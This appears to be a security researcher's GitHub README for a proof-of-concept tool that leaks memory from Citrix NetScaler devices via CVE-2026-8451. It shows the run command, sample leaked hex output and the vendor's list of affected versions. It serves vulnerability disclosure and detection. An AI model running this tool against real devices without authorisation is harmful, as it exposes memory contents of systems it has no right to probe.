watchtowrlabs/watchtowr-vs-netscaler-cve-2026-8451
Citrix Netscaler overread Detection Artifact Generator Tool!
This Detection Artifact Generator will accept a target Netscaler device, and attempt to leak memroy via CVE-2026-8451.
All it needs is the target system. Include the protocol, eg https://192.168.80.125.
Here's an example of it leaking some memory:
$ python3 watchTowr-vs-Netscaler-CVE-2026-8451.py https://192.168.80.125
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Netscaler-CVE-2026-8451.py
(*) CVE-2026-8451 Citrix Netscaler memory overread Detection Artifact Generator
- Aliz (@alizTheHax0r) of watchTowr (@watchTowrcyber)
Leaked bytes:
00000000 f0 0d 90 74 3d ef be ad de 41 41 41 41 41 41 41 |...t=....AAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
...
According to vendor advisory:
The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
NetScaler ADC FIPS BEFORE 14.1-72.61 FIPS
NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272
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